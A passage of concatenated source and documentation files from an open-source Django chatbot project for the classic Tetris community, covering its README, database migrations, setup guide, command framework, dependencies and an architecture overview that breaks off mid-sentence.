twitch integration\n* Account linking functionality\n* Personal best tracking\n* Other personal information storage (preferred name, country, etc.)\n* A match queueing interface\n* Miscellaneous commands (see [info.py](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/commands/info.py))\n* A web interface at [go.ctm.gg](https://go.ctm.gg), providing web-based tournament orchestration tooling for CTM\n\nA semi-full list of commands can be found in the [COMMANDS.md](https://github.com/professor-l/classic-tetris-project/blob/master/docs/COMMANDS.md) file.\n\n### Community Input\n\nWe are also very open to community input, since that's of course the best way to improve a project like this. So feel free to [open an issue](https://github.com/professor-l/classic-tetris-project/issues) here on GitHub with any suggestions or bug reports. I also regularly check Discord, so if you don't have a GitHub account but have suggestions, I can be contacted there. The best place for suggestions is in the dedicated channel in the [CTM Discord Server](https://discord.gg/SYP37aV). You can also tag or DM me (I'm \"Professor L\" on Discord) _if something is urgent_. Just remember - I'm an amateur developer, not a professional, and this bot has been and continues to be a spectacular learning experience for me. So please be patient.\n\n### Contributing\n\nIf you have familiarity with Python and Django and are looking to give more than suggestions, you might consider contributing to the bot's ever-growing codebase. I recently finished putting together a `/docs` directory that contains three highly valuable documents:\n\n* [CONTRIBUTING.md](https://github.com/professor-l/classic-tetris-project/blob/master/docs/CONTRIBUTING.md): A guideline for those who wish to be either one-time, sporatic, or consistent contributors to our bot. We are _always_ looking for new team members.\n* [ARCHITECTURE.md](https://github.com/professor-l/classic-tetris-project/blob/master/docs/ARCHITECTURE.md): A somewhat comprehensive outline of the layout of our codebase, our thoughts behind its design, and the basics of adding to it in a way that preserves scalability and growth.\n* [SETUP_QUICK.md](https://github.com/professor-l/classic-tetris-project/blob/master/docs/SETUP_QUICK.md): An outline of what it takes to set up a development and testing environment, a necessary step if you want to submit pull requests and/or become a regular contributor.\n\nAdditionally, there exists a more comprehensive setup guide for those who intend to become regular contributors:\n* [SETUP_ROBUST.md](https://github.com/professor-l/classic-tetris-project/blob/master/docs/SETUP_ROBUST.md): A guide to setting up a more robust development environment if the quick setup is insufficient.\n\n## The team\n\nCurrently, the team consists of three people:\n\n* **Professor L (Elle Nolan) - Co-head developer**: The bot's mother. I begun development of ClassicTetrisBot just a few weeks before my first NEStris maxout, in early January of 2019. It was originally written in a hurry, in Node.js. A dangerous combination. The code from that dark era is still public, if exclusively to provide a learning experience and encourage humility. _([Her GitHub](https://github.com/professor-l))_\n* **dexfore (Michael Lin) - Co-head developer**: The bot's cool uncle who made it what it is today. He joined the team in May 2019, when I finally decided I needed to turn the bot's spaghetti code into something more reasonable. I brought him on because of his familiarity with a variety of technologies and techniques with which I was, at the time, relatively unfamiliar: relational databases, code infrastructure design, and Django, among many others. Without him, this bot would be nothing. _([His GitHub](https://github.com/michaelelin))_\n* **Fireworks (Justin Hundley) - Contributor**: A new developer on the team as of 2022, who joined the community and immediately and eagerly began helping us out with all sorts of little hiccups and QoL things. He's been instrumental in this software suite's continued success over the last year. _([His GitHub](https://github.com/fireworks))_\n" }, { "alpha_fraction": 0.6183205842971802, "alphanum_fraction": 0.6424936652183533, "avg_line_length": 31.75, "blob_id": "d711958adba87bd03ba249ea06db15b643d3b955", "content_id": "889a8fffa7f94b1bfbd910ab1a841d7f84585f29", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 786, "license_type": "permissive", "max_line_length": 147, "num_lines": 24, "path": "/classic_tetris_project/migrations/0005_auto_20190810_0847.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.2 on 2019-08-10 08:47\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0004_twitchuser_username'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='discorduser',\n name='user',\n field=models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='discord_user', to='classic_tetris_project.User'),\n ),\n migrations.AlterField(\n model_name='twitchuser',\n name='user',\n field=models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='twitch_user', to='classic_tetris_project.User'),\n ),\n ]\n" }, { "alpha_fraction": 0.7578175067901611, "alphanum_fraction": 0.7645182013511658, "avg_line_length": 60.45098114013672, "blob_id": "7840d09459569e76f324e60f85c69e799d1821fd", "content_id": "acf4dafb792c5c0ada0240b8f4a51e2501084981", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3134, "license_type": "permissive", "max_line_length": 657, "num_lines": 51, "path": "/docs/SETUP_QUICK.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Setting up a development environment\n\nIt is recommended that you feel comfortable in whichever operating system you use for development. The bot runs on Ubuntu in production; I develop on Ubuntu as well, but dexfore does so on MacOS, and Xael on Windows with [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10). Whichever you choose to use, it is expected that you know how to work with the command line at a basic level.\n\nThe first step is installing the necessary dependencies. For a quick setup, the only dependencies you need are python 3, pip3, and sqlite. On Ubuntu, the installation looks like this:\n\n```bash\nsudo apt install python3 python3-dev python3-pip sqlite3 libsqlite3-dev\n```\n\nOn other \\*nix distributions, replace `apt` with your package manager (`dnf`, `yum`, `pacman`, `brew`, or something else).\n\nOnce those are installed, click the \"Fork\" button in the top right of this page to make your own copy of the `classic-tetris-project` repository. Then, you can head into your shell and clone the repository:\n\n```bash\ngit clone https://github.com/YOUR-USERNAME/classic-tetris-project\ncd classic-tetris-project\n```\n\nReplacing \"YOUR-USERNAME\" with your actual GitHub username.\n\nOnce you're in the project directory, you can install project requirements and set up the database:\n\n```bash\npip3 install -r requirements.txt\npython3 manage.py migrate\n```\n\nNext, create your bot's accounts. For Discord, head to their [developer portal](https://discordapp.com/developers/applications) and click \"New Application\" in the top right. Once it's been created, head to the \"bot\" tab on the left and create a bot. Then, you'll be able to find the **token**. Additionally, make sure you have a Discord server in which you can test that bot (you need to have admin privs in a server to add a bot; I recommend creating a new server). Take note of that server's [ID](https://support.discordapp.com/hc/en-us/articles/206346498-Where-can-I-find-my-User-Server-Message-ID-), too; you'll need it, along with the token, for later.\n\nFor Twitch, create a standard Twitch account (different from your everyday account - I recommend doing this in either another browser or in private/incognito mode), then head to `https://twitchapps.com/tmi/`. TMI stands for \"Twitch Messaging Interface\", and that page will help you generate an **oauth key**, which you will need.\n\nFinally, it's time to set up a `.env` file. This is the basic structure for that:\n\n```\nDISCORD_TOKEN=your_bots_discord_token\nDISCORD_GUILD_ID=your_discord_guild_id\n\nTWITCH_USERNAME=your_bots_twitch_username\nTWITCH_TOKEN=your_twitch_oauth_key\n\nTWITCH_CLIENT_ID=<ask me for this>\n```\n\nOnce you have that in place (To be clear, it should be saved in a file called `.env` in the project's root directory), you can start up the bot:\n\n```\npython3 manage.py bot\n```\n\nTo see if everything's working, the `!test` command should result in the bot enthusiastically responding with \"Test!\". (NOTE: on Twitch, do **not** attempt to invoke commands from the bot's account. Log into your normal Twitch account to test the bot.) If you're getting errors, review the steps above.\n" }, { "alpha_fraction": 0.5361990928649902, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 23.55555534362793, "blob_id": "d743ad6f54ec7f5fd052146a7939fd36405b56c2", "content_id": "41faf32241c0f49ce22660ca186f719117f1398f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 442, "license_type": "permissive", "max_line_length": 74, "num_lines": 18, "path": "/classic_tetris_project/migrations/0064_tournament_discord_emote_string.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-02-02 05:28\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0063_auto_20220131_0205'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='discord_emote_string',\n field=models.CharField(blank=True, max_length=255, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5765843391418457, "alphanum_fraction": 0.5776584148406982, "avg_line_length": 35.94444274902344, "blob_id": "f33e6356ee1813d469a7c69713d8acb98f7d698f", "content_id": "de7a8c6412cceae6f44444959e7165b40e9ceaa7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9310, "license_type": "permissive", "max_line_length": 102, "num_lines": 252, "path": "/classic_tetris_project/commands/command.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import django.db\nimport logging\nimport re\nimport rollbar\nimport traceback\nfrom abc import ABC\nfrom discord import ChannelType\nfrom django.conf import settings\nfrom inspect import signature\n\nfrom .. import discord, twitch\nfrom ..util import Platform\nfrom ..models.users import DiscordUser, TwitchUser\n\nRE_DISCORD_MENTION = re.compile(r\"^<@!?(\\d+)>$\")\nRE_DISCORD_TAG = re.compile(r\"^@?((?P<username>[^@#:]+)#(?P<discriminator>\\d+))$\")\nRE_TWITCH_USERNAME = re.compile(r\"^@?(\\w+)$\")\n\nclass CommandException(Exception):\n def __init__(self, message=None, send_usage=False):\n self.message = message\n self.send_usage = send_usage\n\nclass Command(ABC):\n def __init__(self, context):\n self.context = context\n self.args = context.args\n\n def check_support_and_execute(self):\n if self.context.platform in self.supported_platforms:\n try:\n min_args, max_args = self.arity\n num_args = len(self.args)\n if num_args < min_args or (max_args is not None and num_args > max_args):\n raise CommandException(send_usage=True)\n else:\n self.execute(*self.args)\n except CommandException as e:\n if e.message:\n self.send_message(e.message)\n if e.send_usage:\n self.send_usage()\n except Exception as e:\n if settings.TESTING:\n raise e\n self.send_message(\"Internal error :(\")\n rollbar.report_exc_info(extra_data=self.context.report_data())\n if settings.DEBUG:\n traceback.print_exc()\n else:\n self.send_message(\"Command not supported on this platform.\")\n\n def send_message(self, message):\n return self.context.send_message(message)\n\n def send_message_full(self, channel_id, *args, **kwargs):\n return self.context.send_message_full(channel_id, *args, **kwargs) \n\n def send_usage(self):\n # Add `wrapper` if in Discord\n formatted = self.context.format_code(\"{prefix}{usage}\".format(\n prefix=self.context.prefix,\n usage=self.usage\n ))\n self.send_message(f\"Usage: {formatted}\")\n\n def check_moderator(self):\n if self.context.platform == Platform.TWITCH:\n author = self.context.author\n channel = self.context.channel\n if not (author.is_moderator or\n (channel.type == \"channel\" and self.context.author.username == channel.name)):\n raise CommandException()\n\n elif self.context.platform == Platform.DISCORD:\n guild = discord.get_guild()\n member = self.context.author\n role = guild.get_role(discord.MODERATOR_ROLE_ID)\n\n if role not in member.roles:\n raise CommandException()\n\n def check_private(self, sensitive=False):\n if self.context.platform == Platform.DISCORD:\n if self.context.channel.type != ChannelType.private:\n\n warning = \"\"\n if sensitive:\n self.context.delete_message(self.context.message)\n self.context.platform_user.send_message(\n \"Your message in a public channel was deleted. Try here instead.\"\n )\n\n raise CommandException(\n \"This command only works in a direct message. Try DMing me.\"\n )\n\n elif self.context.platform == Platform.TWITCH:\n if self.context.channel.type != \"whisper\":\n raise CommandException(\n \"This command only works in a direct message. Try whispering me.\"\n )\n\n def check_public(self):\n if self.context.platform == Platform.DISCORD:\n if self.context.channel.type != ChannelType.text:\n raise CommandException(\n \"This command only works in a public channel.\"\n )\n\n elif self.context.platform == Platform.TWITCH:\n if self.context.channel.type != \"channel\":\n raise CommandException(\n \"This command only works in a public channel.\"\n )\n\n @property\n def usage(self):\n return self._usage_string\n\n @property\n def arity(self):\n min_args = 0\n max_args = 0\n sig = signature(self.execute)\n for param in sig.parameters.values():\n if param.kind == param.VAR_POSITIONAL:\n max_args = None\n else:\n if param.default == param.empty:\n min_args += 1\n if max_args is not None:\n max_args += 1\n return min_args, max_args\n\n def any_platform_user_from_username(self, username):\n if self.context.platform == Platform.DISCORD:\n guild = self.context.guild\n return (Command.discord_user_from_username(username, guild, raise_invalid=False) or\n Command.twitch_user_from_username(username, raise_invalid=False))\n elif self.context.platform == Platform.TWITCH:\n return (Command.twitch_user_from_username(username, raise_invalid=False) or\n Command.discord_user_from_username(username, raise_invalid=False))\n\n def platform_user_from_username(self, username):\n if self.context.platform == Platform.DISCORD:\n return Command.discord_user_from_username(username, self.context.guild)\n elif self.context.platform == Platform.TWITCH:\n return Command.twitch_user_from_username(username)\n\n @staticmethod\n def discord_user_from_username(username, guild=None, raise_invalid=True):\n username = username.casefold()\n match_mention = RE_DISCORD_MENTION.match(username)\n match_tag = RE_DISCORD_TAG.match(username)\n\n # Mention includes a discord ID, look up by that\n if match_mention:\n discord_id = match_mention.group(1)\n try:\n return DiscordUser.objects.get(discord_id=discord_id)\n except DiscordUser.DoesNotExist:\n return None\n\n guild = guild or discord.get_guild()\n member = None\n # Mention has format \"User#1234\"\n # Find by username and discriminator\n if match_tag:\n username = match_tag.group(\"username\")\n discriminator = match_tag.group(\"discriminator\")\n user = DiscordUser.get_from_username(username, discriminator)\n if user is None:\n member = next((m for m in guild.members\n if m.name.casefold() == username and m.discriminator == discriminator),\n None)\n else:\n user = DiscordUser.get_from_username(username)\n if user is None:\n member = next((m for m in guild.members if m.display_name.casefold() == username),\n None)\n\n if member is not None:\n try:\n user = DiscordUser.objects.get(discord_id=member.id)\n except DiscordUser.DoesNotExist:\n return None\n\n if user is None and member is None and raise_invalid:\n # Couldn't find the user in DB or on Discord at all\n raise CommandException(\"Invalid username\")\n else:\n return user\n\n @staticmethod\n def twitch_user_from_username(username, existing_only=True, raise_invalid=True):\n match = RE_TWITCH_USERNAME.match(username)\n\n if match:\n username = match.group(1)\n\n if existing_only:\n user = TwitchUser.from_username(username, refetch=True)\n else:\n try:\n user = TwitchUser.get_or_create_from_username(username)\n except:\n # no such Twitch user exists\n user = None\n\n if user and user.twitch_id == twitch.client.user_id:\n raise CommandException(\"I'm a bot, silly!\")\n\n return user\n else:\n if raise_invalid:\n raise CommandException(\"Invalid username\")\n else:\n return None\n\n @staticmethod\n def register(*aliases, usage, platforms=(Platform.DISCORD, Platform.TWITCH)):\n def _register_command(command):\n command.supported_platforms = platforms\n command._usage_string = usage\n for alias in aliases:\n COMMAND_MAP[alias] = command\n return command\n return _register_command\n\n @staticmethod\n def register_twitch(*args, **kwargs):\n return Command.register(*args, **kwargs, platforms=(Platform.TWITCH,))\n\n @staticmethod\n def register_discord(*args, **kwargs):\n return Command.register(*args, **kwargs, platforms=(Platform.DISCORD,))\n\n def execute(self):\n pass\n\nclass CustomTwitchCommand(Command):\n def __init__(self, context, command_object):\n super().__init__(context)\n self.supported_platforms = [Platform.TWITCH]\n\n self.output = command_object.output or command_object.alias_for.output\n\n def execute(self, *args):\n self.send_message(self.output)\n\nCOMMAND_MAP = {}\n" }, { "alpha_fraction": 0.8289473652839661, "alphanum_fraction": 0.8289473652839661, "avg_line_length": 29.399999618530273, "blob_id": "56f53acee968253685e63aeedd0b28fb641176a1", "content_id": "73828ab8750d12e345a4f8a930ab99d77650b9f2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 152, "license_type": "permissive", "max_line_length": 61, "num_lines": 5, "path": "/pytest.ini", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "[pytest]\nDJANGO_SETTINGS_MODULE=classic_tetris_project_django.settings\ntestpaths=\n classic_tetris_project/tests\n classic_tetris_project/private/tests\n" }, { "alpha_fraction": 0.5364213585853577, "alphanum_fraction": 0.7123646140098572, "avg_line_length": 18.398550033569336, "blob_id": "42dcb3b59411b83e475b759ac5ec4971bd6ea846", "content_id": "126e320a24e4d552e84b67cf37f4b275c148b41c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 2677, "license_type": "permissive", "max_line_length": 77, "num_lines": 138, "path": "/requirements.txt", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "aiohttp==3.6.3\namqp==5.0.9\nasgiref==3.5.0\nasync-timeout==3.0.1\natomicwrites==1.4.0\nattrs==21.4.0\nAuthlib==0.14.1\nbackcall==0.2.0\nbilliard==3.6.4.0\nbleach==5.0.1\nCacheControl==0.12.11\ncachetools==5.0.0\ncelery==5.0.5\ncertifi==2021.10.8\ncffi==1.15.0\nchardet==3.0.4\nclick==7.1.2\nclick-didyoumean==0.3.0\nclick-plugins==1.1.1\nclick-repl==0.2.0\ncoverage==5.0.4\ncryptography==36.0.1\ncssselect==1.1.0\ndecorator==4.4.2\nDeprecated==1.2.13\ndisco-py==0.0.14rc1\ndiscord.py==1.5.1\nDjango==3.2.11\ndjango-admin-sortable2==1.0.3\ndjango-appconf==1.0.5\ndjango-autocomplete-light==3.9.0rc1\ndjango-classy-tags==3.0.1\ndjango-colorfield==0.4.1\ndjango-environ==0.4.5\ndjango-extensions==3.1.0\ndjango-hamlpy==1.4.4\ndjango-js-asset==2.0.0\ndjango-markdownx==3.0.1\ndjango-method-override==1.0.4\ndjango-mptt==0.13.4\ndjango-nyt==1.2.2\ndjango-object-actions==3.0.1\ndjango-redis==4.12.1\ndjango-sekizai==4.0.0\ndjango-select2==7.9.0\ndjango-webpack-loader==0.7.0\nfactory-boy==2.12.0\nFaker==12.3.0\nfirebase-admin==6.0.1\nfurl==2.1.0\ngevent==1.5.0\ngoogle-api-core==2.5.0\ngoogle-api-python-client==2.35.0\ngoogle-auth==2.6.0\ngoogle-auth-httplib2==0.1.0\ngoogle-auth-oauthlib==0.4.6\ngoogle-cloud-core==2.3.2\ngoogle-cloud-firestore==2.5.3\ngoogle-cloud-storage==2.6.0\ngoogle-crc32c==1.5.0\ngoogle-resumable-media==2.4.0\ngoogleapis-common-protos==1.54.0\ngreenlet==1.1.2\ngrpcio==1.50.0\ngrpcio-status==1.48.2\nholster==2.0.0\nhttplib2==0.20.4\nidna==2.8\nimportlib-metadata==4.11.0\nimportlib-resources==5.4.0\ninflect==5.4.0\nipython==7.5.0\nirc==17.1\njaraco.classes==3.2.1\njaraco.collections==3.5.1\njaraco.context==4.1.1\njaraco.functools==3.5.0\njaraco.itertools==6.1.1\njaraco.logging==3.1.0\njaraco.stream==3.0.3\njaraco.text==3.7.0\njedi==0.18.1\nkombu==5.2.3\nlxml==4.5.1\nMarkdown==3.3.3\nmore-itertools==8.12.0\nmsgpack==1.0.4\nmultidict==4.7.6\noauthlib==3.2.0\norderedmultidict==1.0.1\npackaging==21.3\nparso==0.8.3\npexpect==4.8.0\npickleshare==0.7.5\nPillow==7.1.1\npluggy==0.13.1\nprompt-toolkit==2.0.10\nproto-plus==1.22.1\nprotobuf==3.19.4\npsycopg2==2.9.5\npsycopg2-binary==2.9.3\nptyprocess==0.7.0\npy==1.11.0\npyasn1==0.4.8\npyasn1-modules==0.2.8\npycparser==2.21\nPygments==2.11.2\nPyHamcrest==2.0.2\nPyJWT==2.6.0\npyparsing==3.0.7\npytest==4.6.11\npytest-django==3.10.0\npytest-relaxed @ git+http://github.com/michaelelin/pytest-relaxed@00cb38257bd315780b90e13bb97d800b1dd03974\npython-dateutil==2.8.2\npytz==2021.3\nPyYAML==5.1.2\nredis==4.1.3\nregex==2022.1.18\nrequests==2.22.0\nrequests-oauthlib==1.3.1\nrollbar==0.15.1\nrsa==4.8\nsix==1.16.0\nsorl-thumbnail==12.8.0\nsqlparse==0.4.2\ntempora==5.0.1\ntinycss2==1.1.1\ntraitlets==5.1.1\nuritemplate==4.1.1\nurllib3==1.25.11\nvine==5.0.0\nwcwidth==0.2.5\nwebencodings==0.5.1\nwebsocket-client==0.59.0\nwiki==0.9\nwrapt==1.13.3\nyarl==1.5.1\nzipp==3.7.0\n" }, { "alpha_fraction": 0.7911130785942078, "alphanum_fraction": 0.7930558919906616, "avg_line_length": 174.3406524658203, "blob_id": "3c0b970ffd894b051a53908ed8c3e9aafec59847", "content_id": "17c179dd288b55d894e1f593ebc08297576bd2ba", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 15956, "license_type": "permissive", "max_line_length": 1247, "num_lines": 91, "path": "/docs/ARCHITECTURE.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# ClassicTetrisBot's Architecture\n\nClassicTetrisBot (CTB) as we designed it takes advantage of [object-oriented programmning (OOP)](https://en.wikipedia.org/wiki/Object-oriented_programming), a paradigm with a rich history and a diverse set of practical applications. Specifically, it is written in [Python](https://www.python.org) and uses the popular Python web framework [Django](https://www.djangoproject.com). It also utilizes a [relational database](https://en.wikipedia.org/wiki/Relational_database) to store information about users. If you are unfamiliar with any of these things, I recommend doing some research before you continue.\n\n### Philosophy\n\nWe designed this codebase from the ground up, and in doing so we had to repeatedly ask ourselves the most imoprtant question of all large projects, regardless of scope: **What do we want this to do?** This may seem trivial or obvious, but in the heart of a lengthy discussion it can be easily forgotten, and keeping it in mind is key. The only question of comparable importance is as follows: **How will this design hold up over time?** Essentially, without being unreasonable, we tried to leave as many doors open as possible. With a project as open-ended as CTB, a restrictive design could easily come back to bite us in the butt.\n\nWith these two points in mind, using our tools at hand, this is what we came up with.\n\n## The Beginnings\n\nThis is, first and foremost, a chatbot. It needs to be able to read and send messages. So our very first step is to figure out what we need to make that happen. Usually, depending on the platform(s), that means installing a library that communicates with their API. Finding [discord.py](https://discordpy.readthedocs.io/en/latest/index.html) wasn't tough, but Twitch was a bit tougher. The few options we found seemed suboptimal for our purposes. Luckily, Twitch chat is built on top of [Internet Relay Chat (IRC)](https://en.wikipedia.org/Internet_Relay_Chat), a tried-and-true protocol that pre-dates NEStris itself. Python has an [IRC library](https://python-irc.readthedocs.io/en/latest/index.html), but it's not especially comprehensive, and while Twitch chat utilizes the IRC protocol, it has its own idiosyncracies (whispers, for instance). So, in order to properly communicate with Twitch chat, we (mostly dexfore) wrote out [twitch.py](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/twitch.py). Because modular code works well with OOP (and because it typically lends itself well to scaling), we wrote twitch.py as a series of small classes that interact with and build upon one another. \n\nWith the basics of communicating with Discord and Twitch chat individually tackled, our next logical task was getting both to work simultaneously. This, however, proved almost immediately to be nontrivial.\n\n### The Duality of Robot\n\nWe were porting this bot from Node.js, and despite its shortcomings, Node is known for being event-driven and, more importantly, asynchronous. Python is not async by default, but async functions can be written and `await`ed. However, mixing synchronous and asynchronous code can be dangerous. Trying to call an async function without `await`ing it makes Python complain, which is bad. But trying to call a synchronous function from an asynchronous one is far worse.\n\nThe purpose of running code asynchronously is to get something done while allowing the main event loop to continue doing what it does best - handling events. However, if you call a time-consuming _synchronous_ function (like a database query through the Django ORM) from within a coroutine, there's nothing telling Python to give it its own coroutine; contrarily, because the function is synchronous, it actually implicitly instructs Python to run it in the main event loop. This, as you may have realized, can be problematic.\n\nTo make matters worse, the `discord.py` library is written asynchronously. This seems nice, but what if we want to make a database call between receiving a message and giving our response - for instance, if someone queries a PB or a profile? The solution is to dispatch synchronous functions in a new thread, which allows them to be `await`ed from within async functions without blocking the event loop. Basically, we _explicitly_ tell Python to run them in a coroutine rather than the event loop.\n\nBecause the `twitch.py` code is synchronous, however, in order to separate it from the event loop (as `discord.py` had already done for us), we used Python's built-in [threading library](https://docs.python.org/3/library/threading.html) to give the entire Twitch event listener its own thread, separating the event loop from both the Discord and Twitch bots. This is exactly what we want - an event loop that can continue to run, even if an individual Twitch or Discord command stalls briefly.\n\n## Commands\n\nAt the core of a chatbot lie the commands. We wanted to make adding new commands as easy as possible, which meant laying a strong foundation for them. Our plan was to give each command its own class, creating instances of the classes and running their `execute` methods when they were run from Twitch or Discord. In the spirit of OOP, we decided to make a `Command` superclass (see [command.py](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/commands/command.py)), from which all command classes would inherit. Additionally, we had a separate `CommandContext` class that later became a superclass for `TwitchCommandContext` and `DiscordCommandContext` (see [command\\_context.py](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/commands/command_context.py)). The `CommandContext` class contains meta-information of a command - such as who called it and where - as well as helper methods like `send_message`. The more robust `Command` superclass has a `context` property, along with many more fields and methods, most of which are named verbosely enough to be understood, and all of which are intended to be theoretically useful to a wide variety of actual commands.\n\nPerhaps most notably, the `Command` class contains:\n\n* A `check_support_and_execute` method that, among other things, takes the `args` array from its context and distributes its contents out to the explicit, named arguments of its `execute` method, catching any argument errors and raising necessary exceptions in the process.\n* A static method called `register` that registers commands with specific keywords and platforms using the `COMMAND_MAP` dict, subsequently defining how they are used on the user's side. `Command.register` is a [decorator](https://en.wikipedia.org/wiki/Python_syntax_and_semantics#Decorators) for all command class definitions. This means that it acts as a higher-order function, being automatically called every time it is used above a class definition.\n\nDue in part to these two key features, this is what it would look like to create a command called `!example` that took a username as an argument:\n\n```python\n# Importing the superclass\nfrom .command import Command\n\n# Applying the decorator\[email protected](\"example\", usage=\"example <user>\")\nclass ExampleCommand(Command):\n def execute(self, username):\n \"\"\"\n execution code\n goes here\n \"\"\"\n```\n\nHaving a separate class for each command provides several advantages, many of which we have utilized in at least some of the commands we've implemented:\n\n* In the case of the various [queueing commands](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/commands/matches/queue.py), we found that they could all benefit from sharing their *own* superclass beneath `Command`, which we called `QueueCommand`. This superclass still extends `Command`, but it provides additional functionality to its subclasses, including an interface for manipulating the queue itself.\n* For more complex commands, notably the [summon command](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/commands/summon.py), having the code for execution defined in a method rather than a standalone function allows us to define helper methods that clean up the code within `execute` without any ambiguity as to the purpose or practical scope of those methods.\n\nTangentially, the advantage of Python over Java (other than, you know, all of them) with a structure like this is that we can define separate but related classes (like the get/set commands for a particular database field like PB or playstyle) in the same file.\n\nWhen all of this comes together, we end with a relatively seemless proccess for adding new commands to the bot. Create a new class - in a new file, when appropriate - complete with a decorator and an execute function.\n\n## The Database\n\nWith the command infrastructure in place, there was only one more major step before we could dive into feature d evelopment: the database. The former bot, because it was thrown together, because it had a small-ish userbase, and because Node.js ORM options are lacking, the original bot didn't use a database - it simply read and wrote JSON files that stored people's PBs or wins/losses. In programmers' circles, we call that \"stupid.\" It did the j ob, but it didn't do it well, and it certainly wasn't sustainable.\n\nIn the spirit of scalability, in construction of our new bot we decided to use a relational database. You know, properly. The advantage of using Django is that we have access to not only a decent [object-relational mapping tool (ORM)](https://en.wikipedia.org/wiki/Object-relational_mapping), but also a [migration](https://en.wikipedia.org/wiki/Schema_migration) management tool. Briefly, an **ORM** allows us to make database queries without writing raw SQL, and migrations are what allow us to change the structure of our database in a safe and systematic manner while maintaining identical database structures in all our development environments.\n\nThe difficult part of designing our database was managing the bot's dual presence on both Twitch and Discord. We wanted to account for the possibility that we may have some users on only one of the two platforms, and some on both. To get around this, we elected to write a `User` model that was *separate* from the `TwitchUser` and `DiscordUser` models (see the models' [source code](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/models/users.py). Each Twitch and Discord user has a foreign key field pointing to the `User` model, which stores all meaningful data. This permits the account linking function we sought to implement, whereby people can update their data on either Twitch or Discord, and changes will be tracked on both platforms. It also has the added advantage of leaving doors open for further platform user models, should we ever add support for another. We also have a `TwitchChannel` model for each channel on Twitch to which the bot has been summoned.\n\nThe other function the database serves is storing match results, which introduces another hurdle: matches don't have a set number of games. Best-of-3 and best-of-5 are the two most common formats, but even then, a BO5 could have three games in a sweep or five with a decider. To address this, we added both `Match` and `Game` models, each with different fields. The `Match` table stores the two players (foreign keys to the `User` table), the two win counts, and other match metadata. Each `Game` has a foreign key to the `Match` of which it was a part, as well as a winner and an optional losing score. This structure allows the association of arbitrary numbers of `Game`s with a single `Match`.\n\nThis database was our final major hurdle, and once we cleared it we begun aggressively implementing each of the commands on our list of necessities. From there, it rapidly evolved into production-ready software, and once we had our foundations in place, we commenced with rollout.\n\n## Other Foundations\n\nIn building a house, you can make renovations and enhancements on the existing structure without extensively reworking everything. Adding new electrical outlets consists of connecting more wires to the existing electrical system of the house; replacing a sink or toilet requires only that you connect the new apparatus to existing pipes. Adding an external addition to the building, however, requires you to lay additional foundation. New additions, constructed properly, emulate the style and features of the rest of the house and connect to the same underlying infrastructure - electric, plumbing, or heat, for instance - but also provide new rooms that serve new purposes.\n\nExcusing the extended metaphor, this is the philosophy to which we subscribe in adding new features that need their own foundational code. Once the additions are complete, we want them to semi-seamlessly integrate with the rest of the code, or at the very least to play nice with it. We want it to look no different than what we've done already, in the same way that a home addition should not be immediately recognizable as \"new\" to the average homeowner once it is complete.\n\n### Moderation\n\nThe only real addition we've made thus far that has required any kind of foundation beyond what we had was the moderation feature. It came about when we added an #all-caps channel to the [CTM Discord Server](https://discord.gg/SYP37aV). I wanted the bot to delete all messages with lowercase letters in them, including edited messages. Adding a feature like this, something that actually required a new Discord API event listener in the [management bot.py](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/management/commands/bot.py). The full list of events on the `discord` class can be found [here](https://discordpy.readthedocs.io/en/latest/api.html#event-reference), but we already had a listener for `on_message` - which just needed to be altered - and I only needed to add one for `on_message_edit`. \n\nIn the spirit of consistency, I wanted the code for moderation in the management file to look as similar as possible to the nearby code for command recognition and dispatch. This meant structuring moderation rules similarly to commands - we have a `DiscordModerator` class with metadata and mid-level helper methods (analogous to the `CommandContext` class), and a `DiscordRule` superclass with more abstract methods useful for specific rules. The moderation rule classes (of which there is currently only one) will each be subclasses of the aforementioned `DiscordRule`, just as specific command classes are subclasses of the `Command` superclass.\n\nPreviously, the structure was less robust - there weren't as many files, but the layout left much to be desired. However, in writing this very section, it dawned on me that what we had could be improved, so I did [just that](https://github.com/professor-l/classic-tetris-project/commit/077663895886f7eca881f2ce70aaf0d1ac1be9be).\n\n### Looking Forward\n\nSoon, we will be adding a web interface to the CTM portion of the bot. To minimize security vulnerabilities, only the models associated with the web interface will be open source; our views and controllers will reside in a separate, private repository that we 